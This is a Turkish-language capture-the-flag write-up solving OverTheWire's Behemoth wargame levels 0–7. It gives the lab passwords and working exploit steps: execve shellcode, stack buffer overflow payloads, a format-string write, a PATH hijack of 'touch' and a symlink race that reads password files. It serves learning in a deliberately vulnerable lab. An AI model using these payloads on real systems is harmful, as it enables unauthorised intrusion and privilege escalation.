OverTheWire - Behemoth Writeups

Behemoth: Level 0 Writeup

ssh behemoth0@behemoth.labs.overthewire.org -p 2221
password: behemoth0

0

ltrace aracılığı ile programımızı çalıştırıp çıktıyı incelediğimiz zaman bizden istediği parolanın eatmyshorts olduğunu görüyoruz. Bu parolayı programımızı çalıştırıp yazdığımız zaman shellimiz gelecektir. Geriye kalan sadece behemoth1 kullanıcısının parolasının olduğu dosyayı okumak.

behemoth1:aesebootiv

Behemoth: Level 1 Writeup

ssh behemoth1@behemoth.labs.overthewire.org -p 2221
password: aesebootiv

Programımızda stack tabanlı buffer overflow açığı mevcut. Hızlıca kaç byte’dan sonra EIP üzerine yazdığımızı bulalım

0

Evet 71 karakterden sonra EIP registerını kontrol edebiliyoruz. O zaman ortam değişkenlerimize bir adet shellcode ekleyelim ve bunun adresini EIP'ye yazdırarak shellimizi alalım.

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
  printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
export SHELL=$(python -c 'print "\x90"*32 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*32 ')

1

Ve gördüğünüz gibi shellimiz geldi. Artık behemoth2 kullanıcısının parolasını okuyabiliriz

behemoth2:eimahquuof

Behemoth: Level 2 Writeup

ssh behemoth2@behemoth.labs.overthewire.org -p 2221
password: eimahquuof

0

ltrace ile programımızı incelediğimiz zaman system fonksiyonu ile touch komutu çalıştırıyor. Eğer biz kendimiz touch isimli bir dosya oluşturup içerisine çalıştırmak istediğimiz komutu yazarsak ve bunu PATH'e eklersek, programımızı çalıştırdığımızda oluşturmuş olduğumuz dosya devreye girecek ve içindeki komut çalışacaktır.

Burda dikkat etmemiz gereken şey oluşturduğumuz touch isimli dosyanın çalıştırılabilir olması ve PATH'e eklenmesi.

Onun dışında iki farklı senaryo izleyebilirsiniz. İsterseniz direk cat /etc/behemoth_pass/behemoth3 komutunu çalıştırıp parolayı okuyabilir veya /bin/sh komutunu çalıştırıp tekrardan elle parolayı okuyabilirsiniz

1

2

behemoth3:nieteidiel

Behemoth: Level 3 Writeup

ssh behemoth3@behemoth.labs.overthewire.org -p 2221
password: nieteidiel

0

Programımızı gdb ile açıp incelediğimiz zaman aklımıza hemen burda bir format string zafiyeti olabileceği kuşkusu düşüyor. Vakit kaybetmeden hemen test ediyoruz bakalım cidden var mı böyle bir zafiyet…

1

Evet kuşkulanmakta yanılmamışız. Nur topu gibi bir format string zafiyetimiz oldu :) Zafiyeti sömürmek için ihtiyacımız olan puts func adresinide öğrendik.

Ancak burda bilmemiz gereken bir husus var. Eğer yazmak istediğimiz adresin decimal karşılığı çok büyükse o zaman bunu iki parça halinde yazmamız gerekecek. Yani ilk önce 0x80497ac adresini \xac\x97\x04\x08 ve \xae\x97\x04\x08 olarak iki parçaya ayıracaz. Daha sonra stack alanına
yazacağımız shellcode adresinide decimal olarak iki parça halinde yazacağız. Tabi onunda bir püf noktası var öyle kafamıza göre yazamayız. Mesela adresimiz 0xffffdecb olsun. Öncelikle düşük adres olan 0xdecb'yi alıyoruz ve öncesinde 8 byte yazdığımız için bundan 0x8 çıkararak decimal karşılığını buluyoruz. Daha sonra yüksek adresten düşük adresi çıkararak onunda decimal karşılığını buluyoruz (0xffff - 0xdecb = 8500 gibi)

2

Yazdığımız değerler ilk sırada yer aldığında %1$n%2$n kullanıyorduk ancak bizim durumumuzda yüksek bir değeri iki parça halinde yazmamız gerektiği ve bununda daha sonra birleşmesi gerektiği için %1$hn%2$hn şeklinde yazacağız. Kısaca son halinin %57027%1$hn%8500%2$hn gibi olması gerekecek.

Bu kısım da anlaşıldıysa eğer shellcode’u ortam değişkeni olarak ekleyip adresini öğrenelim ve payloadımızı tamamlayalım

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char* argv[]) {
  printf("%s is at %p\n", argv[1], getenv(argv[1]));
}
export SHELL=$(python -c 'print "\x90"*32 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80" + "\x90"*32 ')

3

4

Ve gördüğümüz üzere shellcode başarıyla görevini yerine getirdi.

behemoth4:ietheishei

Behemoth: Level 4 Writeup

ssh behemoth4@behemoth.labs.overthewire.org -p 2221
password: ietheishei

0

Programı çalıştırdığımız zaman PID not found diyerek bir hata veriyor. Yani aslında olmayan bir PID arıyor. Eğer biz program başladığı sırada duraklatıp aradığı PID ismine sahip bir dosya oluşturup onu da okumak istediğimiz parola dosyası ile sembolik bağlantısını kursak ve en sonunda da işlemi geri devam ettirsek nasıl olur :thinking:

/behemoth/behemoth4&
PID=$!
kill -STOP $PID
ln -s /etc/behemoth_pass/behemoth5 /tmp/$PID
kill -CONT $PID
echo $PID

1

behemoth5:aizeeshing

Behemoth: Level 5 Writeup

ssh behemoth5@behemoth.labs.overthewire.org -p 2221
password: aizeeshing

0

Aslında programımız istediğimiz dosyayı okumaya çalışıyor ancak bir nedenden ötürü hata alıyor. Bunun sebebini anlamak için gdb ile açıp detaylıca inceleyelim

1

Burda dikkatimizi çekmesi gereken 2 tane husus var. Öncelikle dikkat ederseniz push 0x0, push 0x2, push 0x2, call socket@plt işlemi görülmekte. Peki bu socketi nereye açıyor kime açıyor nasıl açıyor… ? Tabi bununda bir püf noktası var. socket işlemini çağırmadan önce stack’e gönderdiği şeylerin bir anlamı var

0x0 => IPPROTO_IP
0x2 => UDP
0x2 => IPv4

Pekala UDP üzerinden bir socket açıp veri gönderdiğini düşünüyoruz artık ama hangi port ? Onu da atoi@plt çağrısı yapılmadan önce stack içerisine pushlanan değerden öğrenebiliriz.

(gdb) x/s 0x80489e4
0x80489e4:	"1337"
(gdb)

2

behemoth6:mayiroeche

Behemoth: Level 6 Writeup

ssh behemoth6@behemoth.labs.overthewire.org -p 2221
password: mayiroeche

Behemoth: Level 7 Writeup

ssh behemoth7@behemoth.labs.overthewire.org -p 2221
password: baquoxuafo

0

Debugger üzerinde incelemeye başladığımızda stack içerisinden 0x20c kadar bir alan ayrıldığını görüyoruz.

>>> 0x20c
524

Bunun kaç karaktere tekamül ettiğini öğrendikten sonra EIP üzerine acaba birşeyler yazabilir miyiz diye test edelim.

(gdb) r $(python -c 'print "A"*524 + "BBBB" + "CCCC" + "DDDD" + "EEEE" + "FFFF"')
Starting program: /behemoth/behemoth7 $(python -c 'print "A"*524 + "BBBB" + "CCCC" + "DDDD" + "EEEE" + "FFFF"')

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
(gdb)

Evet tahminlerimiz doğru çıktı ve EIP registerını kontrol etmeyi başardık. Bundan sonrası klasik stack tabanlı buffer overflow zafiyetini exploit etme yöntemi olacak.

Stack içerisine shellcode yükleyip bu shellcode’un önünede biraz NOP ekleyerek EIP üzerine bu NOP adreslerinin bulunduğu kısımlardan bir adres yazacağız ve shellcode’u çalıştıracağız

(gdb) r $(python -c 'print "A"*528 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')
Starting program: /behemoth/behemoth7 $(python -c 'print "A"*528 + "BBBB" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) x/64x $esp
0xffffd320:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd330:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd340:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd350:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd360:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd370:	0x90909090	0x90909090	0x90909090	0x90909090
0xffffd380:	0x90909090	0x6850c031	0x68732f2f	0x69622f68
0xffffd390:	0x89e3896e	0xb0c289c1	0x3180cd0b	0x80cd40c0
0xffffd3a0:	0x08048600	0xf7fe9070	0xffffd3ac	0xf7ffd920
0xffffd3b0:	0x00000002	0xffffd50d	0xffffd521	0x00000000
0xffffd3c0:	0xffffd7b6	0xffffd7c9	0xffffdd85	0xffffdda0
0xffffd3d0:	0xffffddd6	0xffffddeb	0xffffde03	0xffffde12
0xffffd3e0:	0xffffde23	0xffffde3a	0xffffde4e	0xffffde5d
0xffffd3f0:	0xffffde6b	0xffffde74	0xffffde89	0xffffdeac
0xffffd400:	0xffffdec3	0xffffdeda	0xffffdeed	0xffffdef9
0xffffd410:	0xffffdf12	0xffffdf22	0xffffdf36	0xffffdf41
(gdb)
(gdb) r $(python -c 'print "A"*528 + "\x40\xd3\xff\xff" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')
Starting program: /behemoth/behemoth7 $(python -c 'print "A"*528 + "\x40\xd3\xff\xff" + "\x90"*100 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"')
process 24707 is executing new program: /bin/dash
$ id
uid=13007(behemoth7) gid=13007(behemoth7) groups=13007(behemoth7)
$

1

behemoth8:pheewij7Ae

Böylelikle behemoth makinesindeki sorularıda halletmiş olduk :)

1 Beğeni